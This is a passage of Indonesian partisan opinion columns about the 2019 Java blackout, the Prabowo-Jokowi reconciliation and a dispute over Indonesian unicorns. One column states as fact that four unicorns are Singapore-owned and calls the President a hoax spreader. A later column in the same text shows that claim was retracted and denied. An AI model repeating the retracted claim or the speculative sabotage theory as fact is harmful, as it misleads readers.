Tidak usah ikut panik, mereka sudah menghitungnya. Sehari setelah tragedi listrik padam berjamaah, Presiden mendatangi kantor pusat PT Perusahaan Listrik Negara (PLN). PLN sibuk mempersiapkan kedatangan orang yang paling bertanggungjawab di republik ini. Jalanan disteril, pasukan pengawal disiapkan, dan obat-obatan tak boleh ketinggalan. Namun sayang, apa yang disampaikan presiden saat di depan direksi PLN, tak membuat masyarakat lega. Bahkan, usai bertemu pejabat PLN, presiden tidak menyediakan waktu untuk bertanya jawab dengan wartawan, sebagai penyambung lidah masyarakat luas. Ia langsung pergi. Publik tidak mendapatkan gambaran yang jelas mengapa kasus mati listrik total yang juga diberitakan oleh media internasional itu bisa terjadi dan apa saja solusi jangka panjangnya. Semua bertanya-tanya. Presiden hanya minta kepada Direksi PLN perbaikan secepatnya dengan cara apapun. Tak mau tahu. Seremoni bertemu direksi PLN tidak imbang dengan persiapan yang dilakukan untuk menyambutnya. Ini salah satu bukti betapa tidak efisiennya sebuah acara – sesuatu yang ia kampanyekan selama ini. Mengapa tidak kirim rilis saja ke seluruh media massa? Hemat dan cepat. Kedatangan presiden ke kantor pusat PLN tak memberikan solusi yang nyata. Ada kesan Presiden menyalahkan PLN yang dikhawatirkan akan merusak citra BUMN tersebut. Tapi bukankah pembangkit-pembangkit listrik menjadi salah satu objek vital nasional yang menjadi tanggungjawab negara. Mati listrik bukan merusak citra PLN, tetapi justru citra Presiden yang jeblok. PLN dalam waktu dekat dipastikan tidak akan menemukan penyebab secara jelas, apalagi pucuk pimpinan PLN baru berstatus pelaksana tugas yang ditunjuk 2 hari lalu. Saya tidak bisa menduga apakah ada sabotase atau persaingan calon direktur utama PLN, ada alat-alat baru dari Cina yang bakal dipasang, ada faksi-faksi yang punya kepentingan. Sekali lagi saya tidak tahu. Tapi semua dugaan itu bisa saja terjadi. Yang jelas ada masalah akut yang terjadi di tubuh BUMN kita. Jika Presiden mampu dan mau merevolusi semua BUMN, maka kasus-kasus yang terjadi pada Pertamina, Krakatau Stell, Garuda Indonesia, Pupuk Indonesia, PLN dan BUMN lainnya, bisa diatasi. Yang menjadi perhatian masyarakat adalah betapapun hebatnya seorang Presiden jika tidak dibarengi dengan dukungan yang kuat, maka sia-sia. Setinggi apapun visi Presiden, jika tak mampu dibuktikan, maka masyarakat hanya akan menilai sebagai “Cuma Khayalan.” Masih lekat dalam ingatan kita, saat Jokowi nyebur ke dalam got, mejeng di depan “Mobnas Esemka”, kampanaye soal drone, imam sholat, pakaian sederhana, unicorn, dan terakhir mobil terbang. Sikap dan perilaku Jokowi sungguh membius sebagian masyarakat sehingga mereka merasa memilik presiden yang didambakan: sederhana dan merakyat, cerdas dan pekerja keras. Tapi ironis, jika masyarakat telah mendapatkan presiden idaman sesuai dambaan, mengapa sejak 2014 gaduh ini tak pernah berlalu? Pernahkah pembisik Jokowi mengevaluasi kenyataan ini. Atau sengaja tidak mengevaluasi karena masih ada penggemarnya? Di sisi lain banyak pula masyarakat yang menyimak perilaku Jokowi sebagai sosok yang membosankan. Melihat fotonya saja ogah. Hidupnya penuh dengan kebohongan. Kadang terlihat sebagai presiden yang sinis, angkuh, dan egois. Terlihat redup, tak ada pancaran sinar yang menyala. Melihat kenyatan ini, banyak masyarakat yang resah dan gelisah. Ada jiwa-jiwa yang terkoyak, ada hati yang tersakiti, perasaan yang dilukai dan ada janji yang dikhianati. Kita butuh pemimpin yang sejuk bukan umuk, kita butuh pemimpin yang mengayomi bukan memusuhi, yang memberi contoh bukan yang menjiplak, yang nyata bukan pencitraan, yang natural bukan artifisial, yang bisa menterjemahkan kemauan rakyat bukan pemimpin yang semaunya sendiri. Kita butuh presiden yang di wajahnya terpancar cahaya Tuhan. Wajah-wajah bersahabat, tenteram dan damai, ihklas dan tanpa pamrih. Maka, berhentilah berkhayal dan mengelabuhi rakyat. Bekerjalah secara teratur, terukur, dan penuh syukur. Lima tahun ke depan demokrasi Indonesia belum tentu semaju Amerika, ekonomi Indonesia belum setangguh Cina, kekayaan Indonesia belum sehebat Abu Dhabi. Woles aja. Buktikan bahwa tidak ada lagi cebong dan kampret, bukan sebatas wacana. Hentikan produsen buzzer. Katakan dan yakinkan kepada seluruh rakyat Indonesia bahwa tidak ada Islam radikal, intoleran, dan anti-NKRI. Jika tidak, maka stigma menjijikkan ini akan terus dipelihara dan dipanen setiap 5 tahun sekali. Jadilah pemimpin yang bertabur Nur Illahi.

Thomas Lembong Terkejut, Ternyata Presiden Bohongi Rakyat?

Kepala BKPM Thomas Lembong meralat ucapannya beberapa saat setelah menyatakan empat unicorn milik Singapura. Mengapa Menteri dan Presiden bisa salah dalam menyampaikan fakta ini ke publik? Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Saat debat Capres 2019, Presiden Joko Widodo yang juga petahana Capres, tampak pede dan bangga sekali dengan keberadaan unicorn yang dikembangkan anak bangsa, komentar negatif ditujukan kepada Capres Prabowo Subianto yang bertanya soal unicorn. Ternyata, dana yang diperoleh dari perusahaan start up terbesar di Indonesia ini mengalir ke Singapura. Itu yang membuat Kepala Badan Koordinasi Penanaman Modal (BKPM) Thomas Lembong terkejut dengan realitas ini. Aliran dana mengalir ke Singapura. Thomas menyebutkan, perusahaan start up yang ada di Indonesia seperti GoJek, Grab, hingga Traveloka belum masuk dalam hitungan investasi dalam negeri. Artinya, belum ada investasi yang langsung masuk ke perusahaan start up yang beroperasi di Indonesia. Investasi justru masuk ke perusahaan induk start up tersebut di Singapura. “Jadi yang sedikit membingungkan ada pengumuman bahwa Grab akan investasi lagi sekian dan Gojek baru dapat fundraising, tapi tidak nongol dalam arus modal masuk dalam bentuk investasi," ungkap Thomas. “Jawabannya masuk berbentuk investasi ke Singapura, induknya,” ungkap Thomas. Fakta itu terkuak setelah hasil riset Google dan Temasek yang dalam laporannya menyebutkan bahwa investasi ketiga startup itu masuk ke perusahaan inti di Singapura. “Malah empat unicorn kita diklaim sebagai unicorn mereka. Di laporan disebutkan Indonesia ada nol dan Singapura empat,” tutur dia di Kantor BKPM, Selasa (30/7/2019), seperti dikutip berbagai media. Thomas menambahkan, uang yang masuk ke Indonesia hanya berupa pembayaran ke vendor-vendor, misalnya pembayaran iklan hingga pembayaran sewa kantor. “Seringkali masuknya itu bukan dalam bentuk investasi,” tegas Thomas. “Tapi oleh induk unicorn Singapura langsung bayar ke vendor atau supplier Indonesia. Ada arus modal masuk tapi tidak secara langsung masuk ke PT di Indonesia. Ternyata struktur permodalannya seperti itu,” lanjut Thomas. Pernyataan Kepala BKPM tersebut tentu membuat gempar. Ia menyatakan bahwa Indonesia tidak memiliki unicorn karena semua perusahaan rintisan yang masyarakat kenal saat ini adalah milik korporasi asal Singapura. Thomas menjadi bingung dan limbung. Kaget atas fakta ini. Padahal, baru saja ramai soal Traveloka dan Tokopedia yang diajak Menkominfo Rudiantara mewakili unicorn Indonesia menangani platform digital umroh bekerjasama dengan Saudi Arabia. Sebelumnya Presiden Jokowi membanggakan kreativitas “anak Indonesia” yang memiliki dan mengembangkan empat unicorn selain dua di atas ditambah Gojek dan Bukalapak. Ternyata laporan Google dan Temasek, keempat unicorn tersebut adalah milik Singapura. Publik bingung dan kaget betapa rendah informasi yang dimiliki Presiden dan Menteri. Apa yang di-gembor-gemborkan ternyata tidak sesuai dengan kenyataan. Ini hoax. Artinya, Presiden dan Menkominfo menjadi penyebar hoax. Bisa kena pidana! Menurut Kepala BKPM, tidak ada investasi yang tercatat. Wajar saja kalau ternyata keempat unicorn itu dimiliki oleh Singapura. Tentu saja kita prihatin, mengapa seorang Presiden dan Menteri bisa tidak salah dalam menyampaikan fakta ini ke publik. Yang salah tentu saja para menteri. Saat debat Capres 2019 Jokowi tampak bangga sekali dengan keberadaan unicorn yang dikembangkan anak bangsa. Bahkan, komentar negatif ditujukan kepada Prabowo Subianto yang mempertanyakan unicorn. Keterkejutan dan kebingungan Thomas itu sudah menjadi bahan introspeksi para pemimpin negara dalam melihat persoalan dengan seksama. Kebijakan mesti matang dan menimbang dampak. Regulasi yang jelas dan jangan asal-asalan untuk sekedar mengejar target keuntungan sesaat. Indonesia negara besar karenanya tidak pantas punya pemimpin yang selalu berpikir pendek dan semrawut. Tidak memiliki platform jelas mengarahkan kemajuan bangsa ke depan. Empat unicorn yang dibangga banggakan ternyata berinduk dan milik Singapura! Kembali pada unicorn Traveloka dan Tokopedia yang hendak menjadi bagian dari usaha ibadah kaum muslimin berumroh, sebelum terlambat perlu dibatalkan. Benarlah Menkominfo sebaiknya membatalkan MOU dengan Saudi Arabia sebab akan berdampak serius karena di samping akan berpengaruh terhadap keberadaan Penyelenggara Perjalanan Ibadah Umroh (PPIU) juga jelas bertentangan dengan undang-undang. Budaya main labrak hukum demi bisnis mesti dihentikan. Profesor Hendrajit, Direktur The Global Future Institute, mengatakan, mengapa bisa mengalir ke Singapura? Nah, “Di sini bukan lagi ranahnya sektor ekonomi dan perdagangan,” ujarnya. Tapi Politik dan Keamanan. Siapakah pemegang otoritas tertinggi bidang Polkam? “Karena pintu keluarnya adalah imigrasi, dan imigrasi di bawah MenkumHAM. Dan MenkumHAM di bawah wewenang Menko Polhukam (Wiranto),” tegas Hendrajit. “Jadi yang sedikit membingungkan ada pengumuman, Grab akan investasi lagi sekian dan Gojek baru dapat fundraising, tetapi tidak nongol dalam arus modal masuk dalam bentuk investasi. Jawabannya masuk berbentuk investasi ke Singapura, induknya,” ujar Thomas. Suntikan Softbank Ironi memang. Saat SoftBank berinvestasi ke Grab, media pun menulis dengan judul: Kejar Unicorn Kelima, SoftBank Investasi Grab Indonesia Rp28T, seperti dilansir dalam CNN Indonesia.com, Senin (29/07/2019 12:14 WIB). Pendiri yang juga Chief Executive Officer (CEO) SoftBank Masayoshi Son bertemu dengan Presiden Jokowi, Senin (29/7/2019). Salah satu pembahasan dalam pertemuan tersebut terkait komitmen SoftBank di Indonesia. Di Indonesia, SoftBank sudah menyuntikkan dana US$2 miliar. Sebagian besar dana tersebut diberikan kepada e-commerce Tokopedia dan untuk mengembangkan Grab Indonesia. Tidak hanya itu. Dalam pertemuan tersebut Masayoshi Son juga mengungkapkan rencana SoftBank yang akan membuka kantor pusat kedua Grab di Indonesia, menjadikan Grab Indonesia sebagai unicorn ke-5 di Indonesia, sekaligus menginvestasikan US$2 miliar melalui Grab. Selain itu, dalam pertemuan tersebut Masayoshi Son mengungkapkan rencana SoftBank yang akan membuka kantor pusat kedua Grab di Indonesia, menjadikan Grab Indonesia sebagai unicorn ke-5 di Indonesia, sekaligus menginvestasikan US$2 miliar melalui Grab. “Di saat yang sama, SoftBank juga berniat mengucurkan lebih banyak investasi ke unicorn lokal, Tokopedia, dan membantu berkembang lebih jauh lagi,” tulis Jokowi melalui akun Instagram resminya, Senin (29/7/2019). Perikannya: Masayoshi Son, CEO SoftBank pagi tadi berkunjung ke Istana Merdeka, bersama pemimpin Grab dan Tokopedia. Ada apa gerangan, pemimpin grup perusahaan raksasa Jepang jauh-jauh datang ke Jakarta? Rupanya, Masayoshi Son hendak menambah investasinya di bidang teknologi dan pengembangan unicorn di Indonesia. SoftBank akan membuka kantor pusat kedua Grab di Indonesia, menjadikannya unicorn ke-5 di Indonesia, sekaligus menginvestasikan USD2 miliar melalui Grab. Di saat yang sama, SoftBank juga berniat mengucurkan lebih banyak investasi ke unicorn lokal Indonesia, Tokopedia, dan membantunya berkembang lebih jauh lagi. Pak Masayoshi bahkan ingin berinvestasi lebih banyak di Indonesia terutama terkait mobil listrik, baterai litium, dan beberapa platform lainnya. Unicorn kelima? Lha empat unicorn yang ada saja diklaim sebagai milik Singapura? Gimana Om Thomas dan Mas Jokowi? Jelas nanti bisa mematikan GoJek juga! ***

Rekonsiliasi Fatamorgana

Kesibukan membuat manuver dan pertemuan politik akan menambah kecurigaan publik bahwa ada kemenangan yang belum memperoleh legitimasi sosial. Tentu kemenangan itu rapuh. Oleh Dr. Ahmad Yani, SH. MH. (Politisi dan Praktisi Hukum) Jakarta, FNN - Perdebatan tentang ideologi tidak akan pernah berhenti karena adanya pertemuan politik diantara para elit politik. Juga Perbedaan tentang konsep dan cara jalan untuk mencapai tujuan politik tidak akan selesai dengan rekonsiliasi. Perbedaan akan tetap hidup dan menjadi warna bagi sebuah bangsa, apalagi bangsa Indonesia yang lahir dari kemajemukan. Sulit untuk "mendamaikan ide" hanya dengan rekonsiliasi. Meningkatkan intensitas silaturrahim politik sangat positif, tetapi menganggap silaturrahim itu sebagai rekonsiliasi dua perbedaan ide yang mendasar sangat tidak mungkin. Itu hanya sebatas fatamorgana. Dari sisi konsep dan ide, Prabowo dan Jokowi sangat jauh berbeda. Seperti dalam masalah kebijakan Hutang luar negeri, kebijakan Impor pangan, gaji TNI/Asn, Perusahaan Starup/Unicorn, Pengeloaan SDA dan mineral dll, yang disampai secara terbuka dalam kampanye maupun debat, sebagaimana di nukilkan kembali oleh Akbar Faisal dalam Acara ILC. Kemesraan kedua tokoh politik di MRT itu adalah bagian dari rasa saling membutuhkan. Ada semacam "transaksi materi" sebagai upaya untuk saling memegang komitmen politik. Nuansa transaksi politik dari pertemuan itu tidak bisa kita hindari, sebab, pertemuan politik menghasilkan kesepakatan politik. Entah itu Jokowi ingin mengajak oposisi untuk berada disampingnya, atau oposisi meminta Jokowi untuk mengakomodir kepentingan politiknya. Meskipun oposisi akan berkoalisi, tetapi oposisi terhadap kekuasaan tidak akan berakhir, pun tidak ditentukan oleh dua orang tersebut. Begitu pula dengan perbedaan ide dan cara pandang bernegara, tidak akan berakhir hanya karena pertemuan ataupun rekonsiliasi antara Jokowi dan Prabowo. Apakah setelah Prabowo bertemu Jokowi dan Megawati, oposisi telah selesai? Bagi saya, oposisi akan tetap ada dan mengakar dalam gerakan civil society. Secara kelembagaan ada lembaga DPR sebagai perwakilan rakyat yang akan menjadi bagian dari oposisi. Posisi anggota DPR sangat strategis untuk menyuarakan aspirasi rakyat, baik secara sendiri-sendiri melalui jalur parlemen maupun secara bersama-sama dalam bentuk fraksi, komisi, maupun DPR secara keseluruhan. Eksistensi DPR sebagai lembaga, maupun Anggota DPR secara individu, adalah merupakan pengontrol kekuasaan eksekutif. Dalam sistem presidensialisme, kekuasaan presiden begitu sangat besar, sehingga untuk mengawasi kekuasaan yang besar tersebut tidak disalahgunakan, maka DPR memiliki peran penting untuk mengotrol eksekutif. Secara singkat dapat dikatakan DPR itu adalah lembaga oposisi, sedangkan Anggota DPR dipilih oleh rakyat untuk menjadi oposisi pemerintah, mengoreksi segala kebijakan lewat penyusunan UU, penyusunan Anggaran, dan kebijakan pemerintah lainnya. Lembaga Perwakilan itu diberikan kekuasaan yang cukup strategis untuk melakukan pengawasan, dan menginterupsi segala kebijakan pemerintah lewat saluran parlemen. Kekeliruan tradisi yang dibangun partai politik selama ini, menganggap anggota DPR dianggap sebagai wakil partai, sehingga dengan mudahnya partai memecat dan menghentikan jabatan publik individu hanya karena alasan perbedaan sikap dengan partai merupakan langkah yang tidak dibenarkan. Anggota DPR adalah wakil Rakyat yang direkomendasikan oleh partai politik. Pelaksanaan fungsi pengawasan, fungsi anggaran, fungsi legislasi adalah pelaksanaan fungsi "oposisi" DPR kepada pemerintah untuk mengawasi penggunaan fungsi kekuasaan eksekutif. Karena itu, dalam negara demokrasi dengan sistem presidensialisme, keberadaan DPR sebagai lembaga pengawas dan penyeimbang (cheks and balance) bukan hanya sebagai stempel karet eksekutif (koalisi) tetapi kehadiran DPR untuk mengawasi jalannya pemerintahan yang baik dan benar. Rekonsiliasi Atau Jatah Kursi? Setelah pertemuan Prabowo dan Jokowi, seakan-akan oposisi terhadap kekuasaan eksekutif sudah hilang. Lembaga DPR akan menjadi corong kekuasaan dan kasarnya stempel karet eksekutif. Dengan alasan, bahwa apabila semua partai berkoalisi, maka pengawasan terhadap pemerintah tidak ada, dengan demikian segala tujuan kekuasaan dapat diwujudkan tanpa kritik. Setelah pertemuan Prabowo dan Jokowi-Megawati, publik menilai bahwa pemerintahan Jokowi memegang DPR di atas 70%. Jadi tidak ada kesulitan lagi bagi Jokowi menjalankan segala apa yang menjadi keinginan dan tujuannya, bukanlah koalisi Jokowi sudah hampir sempurna menguasai parlemen? Sebenarnya ini menjadi bahaya tersendiri bagi Demokrasi. Dengan kata Rekonsiliasi Jokowi telah mampu merangkul kekuatan utama oposisi. Pertemuan kedua elit itu adalah untuk mendamaikan perseteruan politik. Lebih tepatnya untuk menyatukan kembali perbedaan. Bahwa selama ini, ada anggapan bahwa Indonesia terpecah, ada perkelahian sengit, dan lain sebagainya. Tetapi dalam demokrasi dan panggung politik hal tersebut lumrah. Pemaknaan rekonsiliasi semacam itu bukan hanya salah, tetapi juga mengandung nilai hoax yang tinggi. Karena perbedaan dan perseteruan dalam politik niscaya adanya. Dalam demokrasi hal tersebut adalah merupakan keberkahan, sebab negara demokrasi tanpa perbedaan berarti ada totaliter yang hidup. Terlepas dari apa yang menjadi agenda pertemuan antara oposisi (Prabowo) dan Koalisi (Jokowi-Megawati), bahwa pemberian nama terhadap pertemuan itu sebagai rekonsiliasi demi bangsa menjadi naif adanya. Tidak sulit untuk membaca hal tersebut, seperti yang dikatakan oleh Rocky Gerung, "Kalau dua orang bertemu, ada pihak ketiga yang mau disingkirkan". Artinya selain persoalan saling mendepak dalam koalisi Jokowi, pertemuan tersebut Bukan rekonsiliasi melainkan percakapan tentang materi. Seperti yang saya kemukakan di atas, tidak mungkin merekonsiliasi perbedaan ide dan konsep, yang direkonsiliasi hanyalah berupa program-program yang sifatnya materi. Artinya ada transaksi politik dibalik kata "rekonsiliasi demi bangsa" yang diedarkan ke publik. Saya tertarik dengan pandangan Sandiaga Salahuddin Uno, bahwa kepada pemenang silahkan memerintah, dan yang kalah siap menjadi Oposisi. Kesibukan membuat manuver dan pertemuan politik akan menambah kecurigaan publik bahwa ada kemenangan yang belum memperoleh legitimasi sosial. Tentu kemenangan itu rapuh. Supaya rakyat tidak terlalu diberikan janji, sebaiknya Jokowi melaksankan program-program-nya saat ini, tdk harus menunggu dilantik untuk periode yg kedua. Masih banyak program pemerintah yang belum terlaksana dan masih ditagih oleh publik. Jadi kesibukan mengurus koalisi dan oposisi yang tidak henti-hentinya, tentu akan merugikan rakyat. Prabowo Bertemu, Ulama Ber-Ijtima Setelah pertemuan antara oposisi dan penguasa, koalisi pemenang menjadi gundah gulana. Reaksi bermunculan, hingga Nasdem mengadakan pertemuan dengan Anies Baswedan di Kantor DPP Nasdem Gondangdia. Pengamat menilai, Surya Paloh memberikan reaksi atas pertemuan Prabowo dengan Jokowi dan Megawati. Dalam keadaan koalisi pemenang yang sedang gamang, kekuatan umat yang di Komando oleh ulama tetap bertahan menjadi oposisi. Pertemuan Prabowo dengan Jokowi dan Megawati, tidak menggoyangkan semangat 212, dan tetap mengucapkan, rakyat dan umat bersama ulama mengambil jalan "kami oposisi". Kekuatan civil Society khususnya 212 begitu sangat besar untuk melakukan protes meskipun semua partai telah berada dibarisan koalisi pemerintah. Komitmen untuk menjadi mitra kritis kekuasaan, menempatkan 212 sebagai gerakan penentu perubahan sosial politik Indonesia. Dengan bertahannya 212 maka, muncul kata "kami oposisi". Ini menandakan bahwa kekuatan Islam dengan logo 212 yang telah menjadi monumen penting, meminjam Rocky gerung, sebagai teks sosial bangsa Indonesia tidak bergerak hanya karena Prabowo, tetapi menjadi icon pejuang, khususnya dalam menengakkan amar Ma'ruf nahi munkar. Gerakan 212 yang sampai hari ini masih berada dalam komando ulama, wabil khusus Al-Habib Muhammad Rizieq Syihab, masih menjadi kekuatan independen dengan identitas gerakan politik Islam yang tidak membawa sekat-sekat organisasi dan sekat politik. Adapun dukungan kepada calon tertentu karena kesamaan cara pandang terhadap kondisi bangsa. Gerakan 212 Adalah momen sejarah, yang menjadi reinkarnasi pertentangan ideologi dalam sejarah politik Indonesia. Pertentangan ideologi itu tidak mungkin berakhir dengan rekonsiliasi elit tertentu, ia akan tetap ada. Bagi ideolog, ideologi itu harus diperjuangkan menjadi cita-cita dan tujuan bersama. Hadirnya 212 mengakomodir ulang aspirasi umat Islam yang selama ini terbengkalai. Kehadiran 212 menambah kuat Perdebatan Islam dan Politik. Sejarah mencatat, bahwa Islam adalah bumbu yang memberikan penyedap rasa bagi perjalanan politik Indonesia. Tanpa Islam, politik Indonesia menjadi hampa, tanpa makna. Maka, agak naif kalau menganggap bahwa rekonsiliasi adalah mendamaikan pikiran, hal itu mustahil terjadi. Sulit bagi Jokowi untuk memperoleh legitimasi 212, karena ia tidak memiliki cara pandang yang sama dengan ide 212 itu sendiri. Meskipun Prabowo menyatakan bergabung dengan pemerintah, 212 akan menjadi oposisi yang berjalan diatas roh kebenaran dan keadilan. Untuk melanjutkan gerakan tersebut, para ulama akan mengadakan kembali musyawarah Ulama atau Ijtima' Ulama dalam rangka untuk membicarakan agenda 212 selanjutnya. Agenda itu tidak terlepas dari perkembangan politik yang terjadi pasca MK memenangkan Jokowi. Ulama sedang mencari formula dan penerima mandat baru untuk meneruskan ide, konsep dan cita-cita perjuangan umat Islam yang belum tercapai dalam konteks sosial politik kebangsaan sekarang ini. Oleh karena itu Ijtima Ulama IV akan mencari formula baru bagaimana menempatkan 212 sebagai kekuatan kontrol sosial bangsa ini. Dengan demikian, rekonsiliasi Prabowo dan Jokowi serta Megawati bukan akhir dari perjuangan umat dan ulama, melainkan memberikan kesempatan baru bagi umat dan ulama untuk menyatakan sikap yang lebih terarah lagi. Karena itulah maka 212 sebenarnya adalah kelompok penentu, bukan pengekor, 212 adalah wajah baru politik Islam yang menjadi awal mula bangkitnya solidaritas umat dalam membangun peradaban politik yang mengedepankan nilai-nilai profetik Wallahualam bis shawab.

Listrik Mati Akibat Sabotase?

Jika perlu, akibat matinya listrik ada pejabat negara yang mengundurkan diri. Ini perlu sebagai bentuk tanggungjawab moral. Oleh Mangarahon Dongoran (Wartawan Senior) Jakarta, FNN - Menarik untuk menyimak pernyataan Pelaksana Tugas (Plt) Direktur Utama PT Perusahaan Listrik Negara (PLN), Sripeni Inten Cahyani terkait padamnya listrik sejak Minggu siang. Pihaknya akan menginvestigasi biang kerok padamnya listrik itu. "Kami akan investigasi lebih lanjut berkaitan penyebab gangguan. Ini murni masalah teknis," katanya kepada wartawan, di kantor PLN Pusat Pengatur Beban (P2B), Gandul, Depok, Jawa Barat, Ahad, 4 Agustus 2019. Di tempat yang sama, Direktur Pengadaan Strategis PLN Djoko Raharjo Abumanan menepis padamnya listrik itu akibat gempa di Banten pada malam Ahad atau Sabtu 3 Agustus 2019 malam. "Ngaklah, ngak ada hubungannya dengan (gempa) Banten," ucap Djoko. Sripeni menjelaskan, permasalahan mulai terjadi pada pukul 11.45 WIB. Tepatnya pada detik ke 27 pukul 11.45 WIB saluran udara tegangan ekstra tinggi Ungaran-Pemalang terjadi gangguan. Yaitu di sifkuit satu, kemudian disusul sirkuit kedua. Akibatnya, dua-duanya mengalami gangguan. "Akibatnya, terjadi penurunan tegangan. Jadi pada pukul 11.48 detik 11 menyebabkan jaringan SUTB (saluran udara tegangan tinggi) Depok-Tasik mengalami gangguan. Ini awal pemadaman sistem Jawa Barat, Banten dan DKI Jakarta," kata Sripeni yang baru dua hari ditunjuk menjadi Pelaksana Tugas Dirut PT PLN. Pertanyaannya adalah kenapa terjadi gangguan pada sirkuit satu dan sirkuit dua? Siapa yang bisa mengganggunya? Apakah gangguan teknis semata? Apakah faktor alam? Atau faktor manusia? Faktor alam yang dikaitkan dengan gempa Banten sudah dibantah. Jika faktor teknis, kok bisa terjadi tiba-tiba dan dua hari setelah Sripeni diangkat menjadi Plt Dirut PLN. Orang awam pasti kurang paham faktor teknis yang disampaikan Sripeni. Apakah faktor teknis karena jaringannya sudah tua alias daluarsa? Apakah saat pemasangannya kurang pas? Atau peralatan sirkuit satu dan dua tidak kuat menghantarkan beban listrik yang terlalu tinggi? Saya lebih cenderung menduga bahwa padamnya listrik ini akibat sabotase. Apakah sabotase dilakukan orang dalam yang kurang suka dengan kehadiran Sripeni maupun sabotase dari luar. Tentu, seperti dikemuakakan Sripeni, investigasi perlu dilakukan. Investigasi melibatkan aparat terkait. Investigasi harus dilakukan secara dalam, karena listrik merupakan salah satu urat nadi perekonomian nasional. PLN sendiri memperkirakan kerugian Rp 90 miliar akibat padamnya listrik. Kerugian yang diderita rakyat tentu jauh lebih besar. Banyak usaha kecil menengah yang tidak memiliki genset, terpaksa menghentikan usahanya. Kita berharap investigasinya fair. Jika perlu, akibat matinya listrik ada pejabat negara, serendahnya direktur di PLN mengundurkan diri. Ini perlu sebagai bentuk tanggungjawab moral. *** Foto: Evakuasi MRT yang mogok di underpass Sudirman akibat listrik mati massal selama 10 jam di Jawa-Bali.

Apa Tujuan Tom Sebar Hoaks Unicorn?

Gojek adalah perusahaan rintisan Indonesia dengan head office di Indonesia dan 90% pegawai kami adalah orang asli Indonesia. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Mulanya, Thomas Trikasih Lembong mengaku kaget setelah melihat riset Google dan Temasek tentang pertumbuhan ekonomi digital di Indonesia. Dalam riset itu, empat perusahaan digital bervaluasi di atas US$1 miliar atau unicorn asal Indonesia disebut dari Singapura. Kekagetan Kepala Badan Koordinasi Penanaman Modal atau BKPM ini disampaikan dalam sebuah konferensi pers di kantor BKPM, Jalan Gatot Subroto, Jakarta Selatan, Selasa, 30 Juli 2019. "Saya kaget juga lihat laporan Google dan Temasek ada tabel unicorn, di Indonesia dia bilang ada nol, di Singapura diklaim ada empat. Faktanya, memang empat unicorn kita induknya di Singapura semua," kata Tom, panggilan singkatnya. Tom mengatakan investasi yang digelontorkan ke empat unicorn itu nyatanya selama ini tidak langsung masuk ke Indonesia, melainkan melalui Singapura. Dari Singapura, barulah perusahaan induk akan membayar vendor untuk sewa kantor, leasing, dan sebagainya ke Indonesia. Lantaran itu, arus modal yang masuk dari Singapura ke Indonesia pun hanya berupa pembayaran, bukan penanaman modal asing. Struktur permodalan inilah yang sempat membuat dirinya merasa kebingungan. Publik, termasuk Istana, jelas terperangah dengan pernyataan Tom. Soalnya, selama ini publik mendapatkan informasi bahwa Indonesia memiliki empat perusahaan yang telah bermetamorfosis menjadi unicorn. Keempatnya ialah Gojek, Bukalapak, Traveloka, dan Tokopedia. Presiden Joko Widodo membanggakan itu sebagai prestasi. Ralat Pantas saja orang lantas berspekulasi: Jokowi yang menyebar hoaks, apa Tom? Nah, tak lama kemudian dalam hari yang sama, Thomas meralat apa yang diomongkan itu. Ralat disampaikan bukan lewat konferensi pers, melainkan melalui media sosial, akun Twitternya. "Maaf dan Ralat @tokopedia dan @bukalapak sudah klarifikasi ke saya, @gojekIndonesia sudah klarifikasi ke publik, mereka tidak pakai Induk perusahaan di Singapura, tapi sepenuhnya di PT PMA Singapura," cuitnya. Ia pun mengakui bahwa dirinya sudah terlalu jauh dalam mengomentari bahan Google-Temasek tersebut. Nah, lho! Di sisi lain, empat unicorn, yakni Bukalapak, Tokopedia, Traveloka, dan Gojek, juga membantah pernyataan Tom tersebut. Mereka membantah punya perusahaan induk di Singapura dan menolak dikategorikan sebagai start-up milik Singapura. Chief Corporate Affairs Gojek Nila Marita menegaskan, Gojek merupakan perusahaan rintisan berbasis teknologi (start-up) asli Indonesia dan terdaftar di Indonesia dengan nama PT Aplikasi Karya Anak Bangsa. Gojek ditegaskannya bukan perusahaan asal negeri jiran, Singapura. "Gojek adalah perusahaan rintisan Indonesia dengan head office di Indonesia dan 90% pegawai kami adalah orang asli Indonesia," kata Nila, lewat keterangan resmi, Rabu (31/7). Dia juga menyampaikan, seluruh penanaman modal dan investasi Gojek dari investor, baik asing maupun lokal, telah ditanamkan dan dibukukan penuh di perusahaan di Indonesia, yakni PT Aplikasi Karya Anak Bangsa. Sebelumnya, pada Selasa (30/7) sore hingga malam, Tokopedia, Bukapalak, dan Traveloka juga sibuk menyampaikan pernyataan yang hampir sama dengan Gojek. Tokopedia, platform dagang dalam jaringan (online), menyatakan, sejak awal telah beroperasi di Indonesia dan tidak memiliki induk perusahaan di negara lain, termasuk Singapura. "Kami tidak mempunyai induk perusahaan di negara lain. Tokopedia sejak awal selalu beroperasi di Indonesia," kata Wakil Direktur Komunikasi Korporat Tokopedia Nuraini Razak. Nuraini mengakui, Tokopedia memiliki anak perusahaan yang beroperasi di Singapura sebagai kantor riset dan pengembangan. Tapi, perusahaan induk Tokopedia tetap berada di Indonesia. Tokopedia juga menyatakan seluruh investasi yang diterima masuk melalui induk perusahaan di Indonesia. "Seluruh penanaman modal terhadap Tokopedia masuk ke Indonesia sebagai penanaman modal langsung," katanya. Bukalapak, sebagai pelapak daring yang menggandeng UMKM sebagai mitranya, juga menyatakan sebagai perusahaan asal Indonesia, dan bukan perusahaan Singapura sebagaimana klaim Tom. "Yang jelas, Bukalapak adalah perusahaan yang lahir dan besar di Indonesia," kata Kepala Komunikasi Korporat Bukalapak Intan Wibisono. Riset itu Dalam riset Google - Temasek yang berjudul Economy SEA 2018, tak ditemukan klaim atas empat startup Indonesia sebagai milik Singapura. Bahkan dalam riset tersebut, secara jelas menyebutkan Gojek adalah aplikasi milik Indonesia. Dalam sub judul "Ride Hailing expands to be the 'everyday apps' of Southeast Asians" disebutkan bahwa Gojek aplikasi online unicorn Indonesia, mengumumkan rencana ekspansi regional yang bertujuan meluncurkan layanan di Filipina, Singapura, Thailand dan Vietnam setelah pasar domestiknya sendiri. Riset juga menyebut unicorn Indonesia yakni Tokopedia salah satu pemain terbesar di Asia Tenggara. Riset tersebut juga memberikan gambaran tentang unicorn dan e-commerce di Asia Tenggara. Di sana disebutkan satu-satunya negara yang tidak memiliki perusahaan unicorn adalah Filipina. Dalam riset tersebut pun dijelaskan, e-commerce telah menjadi sektor yang paling dinamis dengan pertumbuhan paling cepat di era digital ekonomi. Disebutkan pula 